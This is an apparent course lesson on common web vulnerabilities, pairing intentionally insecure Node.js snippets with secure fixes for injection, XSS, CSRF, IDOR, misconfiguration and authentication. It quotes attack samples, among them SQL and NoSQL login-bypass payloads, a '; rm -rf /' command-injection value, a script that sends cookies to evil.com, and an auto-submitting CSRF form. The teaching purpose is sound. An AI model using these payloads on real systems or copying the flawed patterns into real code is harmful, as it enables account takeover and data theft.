Skip to main content

🛡️ Common Security Vulnerabilities

Every line of code you ship is a promise to the people who trust you with their data. Attackers spend all day looking for broken promises. In this lesson you'll meet the vulnerabilities that break most web apps — injection, XSS, CSRF, broken access control and more — see exactly how each attack works, and learn the small, disciplined habits that shut them down.

Week 9 · Day 5 (Friday: Security Best Practices) · Lecture 1

🎯 Learning Objectives

By the end of this lesson, you will be able to:

  • Explain what the OWASP Top 10 is and why it guides real-world defense
  • Prevent SQL, NoSQL, and command injection with parameterized queries and validation
  • Stop XSS with output encoding, framework auto-escaping, and Content Security Policy
  • Defend against CSRF using tokens and SameSite cookies
  • Recognise broken access control (IDOR) and enforce authorization on every request
  • Harden authentication, configuration, and data handling — hashing, secrets, secure headers with helmet

Estimated Time: 75 minutes

Practice: Audit a deliberately insecure endpoint and rewrite it to be safe.

In This Lesson

Why Security Is Your Job

A vulnerability is simply a gap between what your code allows and what you intended it to allow. Attackers live in that gap. You don't need to be a hacker to close it — you need to understand a handful of recurring patterns and apply a few reflexes every time you touch user input.

The industry-standard map of those patterns is the OWASP Top 10, published by the Open Worldwide Application Security Project. It ranks the vulnerability categories that cause the most real-world damage. Think of it as a checklist that has already been paid for in other people's breaches — you get to learn from them for free.

graph TD A[OWASP Top 10 Risks] --> B[Injection] A --> C[Broken Access Control] A --> D[Cryptographic Failures] A --> E[Security Misconfiguration] A --> F[Identification & Auth Failures] B --> B1[SQL / NoSQL] B --> B2[Command Injection] C --> C1[IDOR] C --> C2[Missing Authorization] D --> D1[Plaintext Passwords] D --> D2[No HTTPS] F --> F1[Weak Passwords] F --> F2[Session Hijacking]

📖 The one habit that prevents most breaches

Never trust input. Any data that crosses a trust boundary — a form field, a URL parameter, a header, a file, an API response — is guilty until validated. Most of this lesson is variations on that single idea: validate what comes in, encode what goes out, and check permission every single time.

Injection: SQL, NoSQL & Command

Injection happens when untrusted data is stitched directly into a command that an interpreter runs — a SQL query, a Mongo filter, a shell command. Because the data and the code share the same string, the attacker can smuggle their own instructions in. The analogy: it's like dictating an address to a courier and having them also carry out any extra "instructions" a stranger shouts mid-sentence.

SQL Injection

The classic case: user input concatenated into a SQL string.

// ❌ VULNERABLE — user input becomes part of the query text
const username = req.body.username;
const query = "SELECT * FROM users WHERE username = '" + username + "'";
db.query(query);

If the attacker submits admin' --, the query becomes:

SELECT * FROM users WHERE username = 'admin' --'

The -- comments out the rest of the query. With a login form, a payload like ' OR '1'='1 can make the WHERE clause always true and log the attacker in as the first user in the table.

The fix is parameterized queries (also called prepared statements). You send the query and the data separately, so the database never confuses one for the other.

// ✅ SAFE — the ? is a placeholder; the driver binds the value safely
const username = req.body.username;
const query = "SELECT * FROM users WHERE username = ?";
db.query(query, [username]);   // value can NEVER change the query's structure

// With an ORM like Prisma, parameterization is automatic:
const user = await prisma.user.findUnique({ where: { username } });

💥 Real-world impact: the 2017 Equifax breach

A web-application vulnerability contributed to the exposure of personal data for roughly 147 million people — names, Social Security numbers, birth dates, and more. Injection-class flaws remain near the top of OWASP precisely because a single unparameterized query can leak an entire database.

NoSQL Injection

Switching to MongoDB doesn't make injection go away — it just changes shape. If you pass a request body straight into a query, an attacker can send an object where you expected a string.

// ❌ VULNERABLE — attacker sends JSON operators as values
// Body: { "username": { "$ne": null }, "password": { "$ne": null } }
db.collection('users').find({
    username: req.body.username,   // becomes { $ne: null } → matches everyone
    password: req.body.password
});

That $ne: null ("not equal to null") matches every user, bypassing authentication. The defenses: cast to the expected type, reject objects where you expect strings, and never compare a raw password — compare a hash.

// ✅ SAFE — force a string, and compare against a stored hash
const username = String(req.body.username);
const user = await db.collection('users').findOne({ username });
if (user && await bcrypt.compare(String(req.body.password), user.passwordHash)) {
    // authenticated
}
// Also worth adding: express-mongo-sanitize strips $ and . from keys

Command Injection

When your app hands user input to a system shell, the attacker can chain their own commands with ;, &&, or backticks.

// ❌ VULNERABLE — exec() runs a shell that parses metacharacters
const { exec } = require('child_process');
exec('ls ' + req.query.filename);   // filename = "; rm -rf /" → disaster
// ✅ SAFE — execFile takes args as an ARRAY (no shell), plus validate
const { execFile } = require('child_process');
const name = req.query.filename;

if (!/^[a-zA-Z0-9_.\-]+$/.test(name)) {
    return res.status(400).send('Invalid filename');
}
execFile('ls', [name], (err, stdout) => { /* args can't become commands */ });

✅ The injection rule of thumb

Whenever data meets an interpreter, keep code and data in separate channels: parameterized queries for SQL, typed filters for NoSQL, argument arrays (not shell strings) for the OS. Validation is a helpful second layer — but separation is the real defense.

Cross-Site Scripting (XSS)

XSS is injection aimed at the browser. If your page includes user-supplied content without encoding it, an attacker can slip in a <script> that runs in your victim's browser — with full access to their session, cookies, and the DOM. The three flavours:

graph LR A[XSS Types] --> B[Stored] A --> C[Reflected] A --> D[DOM-based] B --> B1[Payload saved on server, hits every viewer] C --> C1[Payload in URL, reflected back to one victim] D --> D1[Client JS writes untrusted data into the DOM]

Stored XSS — the most dangerous

The payload is saved (say, in a comment) and served to everyone who views the page.

// ❌ VULNERABLE — comment text is dropped straight into HTML
app.get('/post/:id', (req, res) => {
    const comments = db.getComments(req.params.id);
    const html = comments.map(c => `<div class="comment">${c.text}</div>`).join('');
    res.send(html);   // a comment of <script>…</script> now runs for every viewer
});

A single stored comment like <script>fetch('https://evil.com?c='+document.cookie)</script> exfiltrates every viewer's cookies. The fix: encode output so < becomes &lt; and the browser renders it as text, not markup.

// ✅ SAFE (option 1) — escape on output
const escapeHtml = require('escape-html');
const html = comments
    .map(c => `<div class="comment">${escapeHtml(c.text)}</div>`)
    .join('');

// ✅ SAFE (option 2) — let React escape for you (default behaviour)
function CommentList({ comments }) {
    return comments.map(c => <div className="comment" key={c.id}>{c.text}</div>);
    // Interpolated text is auto-escaped. The ONLY hole is dangerouslySetInnerHTML.
}

💥 Real-world impact: the Samy worm (2005)

A stored-XSS payload on MySpace spread to over a million profiles in under 24 hours — it added the attacker as a "friend" and copied itself onto each visitor's profile. It caused no data theft, yet demonstrated how a single unescaped field can turn a social network into a self-replicating worm.

If you must render user HTML: sanitize

Sometimes you genuinely need to allow some HTML (a rich-text editor, say). Never do that by hand — use a vetted sanitizer that strips scripts and dangerous attributes.

import DOMPurify from 'dompurify';

// Allowlist-based cleaning — keeps <b>, <em>, drops <script> and onclick
const clean = DOMPurify.sanitize(userHtml);
element.innerHTML = clean;   // only now is innerHTML acceptable

Layered XSS defenses, strongest to weakest:

  • Contextual output encoding — the primary fix; encode for HTML, attribute, or JS context
  • A framework that auto-escapes — React, Vue, Angular do this by default
  • Sanitize any HTML you must render (DOMPurify)
  • Content Security Policy (CSP) — defense-in-depth that blocks injected scripts even if one slips through (next lesson)
  • HttpOnly cookies — so stolen scripts can't read the session cookie

Cross-Site Request Forgery (CSRF)

CSRF abuses the fact that browsers attach your cookies to every request to a site — even requests triggered by a different, malicious site. The attacker can't read the response, but they can make your browser perform a state-changing action (transfer money, change email) while you're logged in.

A CSRF attack: the victim's authenticated browser is tricked into sending a forged request to their bank Victim logged in to bank Malicious site hidden auto-form Bank server trusts the cookie 1. visits 2. forces request 3. request + session cookie sent automatically
The victim's browser dutifully attaches the bank cookie to a request it never meant to make. CSRF defenses prove the request truly came from your own app.

A malicious page hides an auto-submitting form pointed at your bank:

<form action="https://bank.com/transfer" method="POST" id="f">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('f').submit();</script>

Two complementary defenses stop this:

// ✅ DEFENSE 1 — SameSite cookies (mostly automatic in modern browsers)
app.use(session({
    secret: process.env.SESSION_SECRET,
    cookie: { httpOnly: true, secure: true, sameSite: 'lax' }
    // 'lax' blocks cookies on cross-site POSTs; 'strict' is even tighter
}));

// ✅ DEFENSE 2 — a per-session CSRF token the attacker cannot guess or read
app.post('/transfer', (req, res) => {
    if (req.body._csrf !== req.session.csrfToken) {
        return res.status(403).send('CSRF validation failed');
    }
    // safe to proceed
});

💡 Why the token works

The token is a secret, random value stored in the session and embedded in your forms. Because of the Same-Origin Policy, the attacker's page cannot read your token, so their forged request can't include it — and the server rejects it. Modern stacks combine SameSite cookies with tokens (the "double-submit" pattern) for depth.

Broken Access Control (IDOR)

Broken access control is the #1 risk on the current OWASP Top 10. The common form is Insecure Direct Object Reference (IDOR): the app trusts an ID from the URL and hands back the object without checking whether this user is allowed to see it.

// ❌ VULNERABLE — change docId in the URL, read anyone's document
app.get('/api/documents/:docId', (req, res) => {
    const doc = db.getDocument(req.params.docId);
    res.json(doc);   // no ownership check at all
});

An attacker simply increments the ID: /api/documents/1002, /1003, and walks the whole table. The fix is to authorize on every request and scope every query to the authenticated user.

// ✅ SAFE — the query itself is scoped to the current user
app.get('/api/documents/:docId', requireAuth, async (req, res) => {
    const doc = await db.getDocument(req.params.docId);
    if (!doc || doc.ownerId !== req.user.id) {
        return res.status(404).json({ error: 'Not found' });  // don't leak existence
    }
    res.json(doc);
});

🔑 Principle of least privilege

Grant every user, token, and service the minimum access it needs — nothing more. Deny by default and open up deliberately. Returning 404 instead of 403 for objects a user shouldn't see also avoids confirming that an ID exists.

💥 Real-world impact: the Starbucks gift-card IDOR (2015)

A researcher found that by changing an account identifier in gift-card API requests, they could move balances between other customers' cards. It was fixed through responsible disclosure — a textbook reminder that IDs from the client are never proof of authorization.

Misconfiguration & Data Exposure

The most common class of vulnerability isn't clever code — it's careless configuration: default passwords, verbose errors, secrets in source, missing headers. And when configuration leaks sensitive data, the result is exactly the breach you read about in the news.

Don't leak internals

// ❌ VULNERABLE — stack traces and secrets exposed to the world
app.use((err, req, res, next) => {
    res.status(500).send(`Error: ${err.stack}`);   // gifts attackers a map
});
const dbConfig = { user: 'admin', password: 'admin' };   // hardcoded creds
// ✅ SAFE — log internally, respond generically, load secrets from env
app.use((err, req, res, next) => {
    console.error(err.stack);                 // full detail for YOU
    res.status(500).json({ error: 'Something went wrong' });  // opaque for THEM
});
const dbConfig = {
    user: process.env.DB_USER,
    password: process.env.DB_PASSWORD        // never in source control
};

Set secure headers with helmet

Rather than remembering a dozen HTTP security headers, use helmet, which sets sensible defaults in one line.

const helmet = require('helmet');
app.use(helmet());   // CSP, X-Content-Type-Options, HSTS, frameguard, and more

// Force HTTPS in production
app.use((req, res, next) => {
    if (!req.secure && process.env.NODE_ENV === 'production') {
        return res.redirect('https://' + req.headers.host + req.url);
    }
    next();
});

Protect sensitive data at rest

Never store passwords in plaintext. Use a slow, salted, adaptive hash — bcrypt, Argon2, or PBKDF2 — designed to resist brute forcing.

const bcrypt = require('bcrypt');

async function registerUser(email, password) {
    const passwordHash = await bcrypt.hash(password, 12);  // 12 = cost factor
    await db.query(
        'INSERT INTO users (email, password_hash) VALUES (?, ?)',
        [email, passwordHash]                                // parameterized!
    );
}
// Never log full card numbers, tokens, or passwords:
console.log('charge', { last4: card.slice(-4) });

💥 Real-world impact: Heartbleed (2014)

A bug in OpenSSL let attackers read chunks of server memory — leaking private keys, session tokens, and passwords across a large share of the secure web. Lesson: keeping dependencies patched is itself a security control. Run npm audit regularly and upgrade.

Broken Authentication

If injection is about data and access control is about permission, broken authentication is about identity — weak passwords, no brute-force protection, sloppy sessions. Get it wrong and attackers become your users.

// ❌ VULNERABLE — weak policy, plaintext compare, no throttling
const ok = password.length >= 6;
if (user && user.password === password) { /* login */ }
// ✅ SAFE — rate-limit, hash-compare, secure session
const rateLimit = require('express-rate-limit');

const loginLimiter = rateLimit({
    windowMs: 15 * 60 * 1000,   // 15 minutes
    max: 5,                     // 5 attempts per window per IP
    message: 'Too many login attempts, try again later'
});

app.post('/login', loginLimiter, async (req, res) => {
    const user = await db.getUser(req.body.username);
    // bcrypt.compare is constant-time, resisting timing attacks
    if (user && await bcrypt.compare(req.body.password, user.passwordHash)) {
        req.session.regenerate(() => {   // new session id on login = no fixation
            req.session.userId = user.id;
            res.json({ ok: true });
        });
    } else {
        res.status(401).send('Invalid credentials');
    }
});

// Session hardening
app.use(session({
    secret: process.env.SESSION_SECRET,
    name: 'sid',                         // don't advertise the framework
    resave: false,
    saveUninitialized: false,
    cookie: { httpOnly: true, secure: true, sameSite: 'strict', maxAge: 3600000 }
}));

✅ Authentication checklist

  • Offer multi-factor authentication for sensitive accounts
  • Rate-limit and progressively delay failed logins
  • Regenerate the session id on login and privilege change
  • Invalidate sessions on logout, idle timeout, and absolute timeout
  • Never put session ids in URLs; keep cookies HttpOnly + Secure

Practice & Quiz

🏋️ Exercise 1: Audit a broken endpoint

Goal: This password-reset handler has at least three distinct vulnerabilities. Identify them, then rewrite it securely.

app.post('/reset-password', (req, res) => {
    const { email } = req.body;
    db.query('SELECT * FROM users WHERE email = "' + email + '"', (err, user) => {
        if (user) {
            const token = Math.random().toString(36).substring(2, 15);
            db.query('UPDATE users SET reset_token = "' + token + '" WHERE email = "' + email + '"');
            res.send('Reset link sent to: ' + email);
        } else {
            res.status(404).send('Email not found');
        }
    });
});
💡 Hint

Look at how email reaches the query (injection), how token is generated (predictability), and what the two different responses reveal to an attacker (user enumeration).

✅ Solution

Three flaws: (1) SQL injection via string concatenation; (2) Math.random() is not cryptographically secure, so tokens are guessable; (3) different responses for found/not-found emails enable account enumeration.

const crypto = require('crypto');

app.post('/reset-password', async (req, res) => {
    const email = String(req.body.email);
    // Parameterized query — no injection
    const user = await db.query('SELECT id FROM users WHERE email = ?', [email]);

    if (user) {
        // Cryptographically strong, unguessable token
        const token = crypto.randomBytes(32).toString('hex');
        const expires = Date.now() + 60 * 60 * 1000;   // 1 hour
        await db.query(
            'UPDATE users SET reset_token = ?, reset_expires = ? WHERE email = ?',
            [token, expires, email]
        );
        await sendResetEmail(email, token);
    }
    // Same response either way — no enumeration
    res.send('If that email exists, a reset link has been sent.');
});

🏋️ Exercise 2: Make a comment renderer XSS-safe

Goal: Write renderComment(text) that returns an HTML string safe to inject, escaping the five dangerous characters.

✅ Solution
function escapeHtml(str) {
    return String(str)
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;')
        .replace(/"/g, '&quot;')
        .replace(/'/g, '&#39;');
}
function renderComment(text) {
    return `<div class="comment">${escapeHtml(text)}</div>`;
}
// In production, prefer a maintained library (escape-html) or a
// framework that auto-escapes — but knowing the mechanism matters.

🎯 Quick Quiz

Question 1: What is the primary defense against SQL injection?

Question 2: Which cookie attribute most directly mitigates CSRF?

Question 3: A user changes /api/orders/501 to /api/orders/502 and sees someone else's order. What is this?

Best Practices & Pitfalls

✅ Do

  • Use parameterized queries everywhere — no string concatenation into queries
  • Validate input (allowlists, type casts) and encode output for its context
  • Enforce authorization on every request; scope queries to the current user
  • Hash passwords with bcrypt/Argon2; keep secrets in environment variables
  • Add helmet, HTTPS, SameSite cookies, and CSRF tokens
  • Run npm audit and keep dependencies patched

❌ Don't

  • Trust any client-supplied value — including IDs, headers, and hidden fields
  • Build HTML by concatenating unescaped user input
  • Use Math.random() for tokens — use crypto.randomBytes()
  • Leak stack traces, secrets, or "user not found" hints to clients
  • Roll your own crypto, CORS, or session logic when a vetted library exists

⚠️ Defense in depth

No single control is enough. Encoding and CSP; tokens and SameSite; validation and parameterization. Assume any one layer can fail, and make sure the next layer still stops the attack.

Summary

🎉 Key Takeaways

  • The OWASP Top 10 is your prioritized checklist of what actually gets exploited
  • Injection falls to parameterized queries, typed filters, and argument arrays
  • XSS falls to output encoding, auto-escaping frameworks, sanitizers, and CSP
  • CSRF falls to SameSite cookies plus unguessable tokens
  • Broken access control falls to per-request authorization and least privilege
  • Harden the basics: hash passwords, use helmet, keep secrets in env, patch deps

📚 Additional Resources

🚀 What's Next?

You now know the attacks and their fixes. Two of those fixes — controlling who may call your API and locking down what your pages may load — deserve their own deep dive. Next up: CORS and CSP, the browser mechanisms behind cross-origin access and content security policy.

🛡️ Well defended!

Security isn't a feature you add at the end — it's a set of reflexes you apply on every line. You just built the most important ones.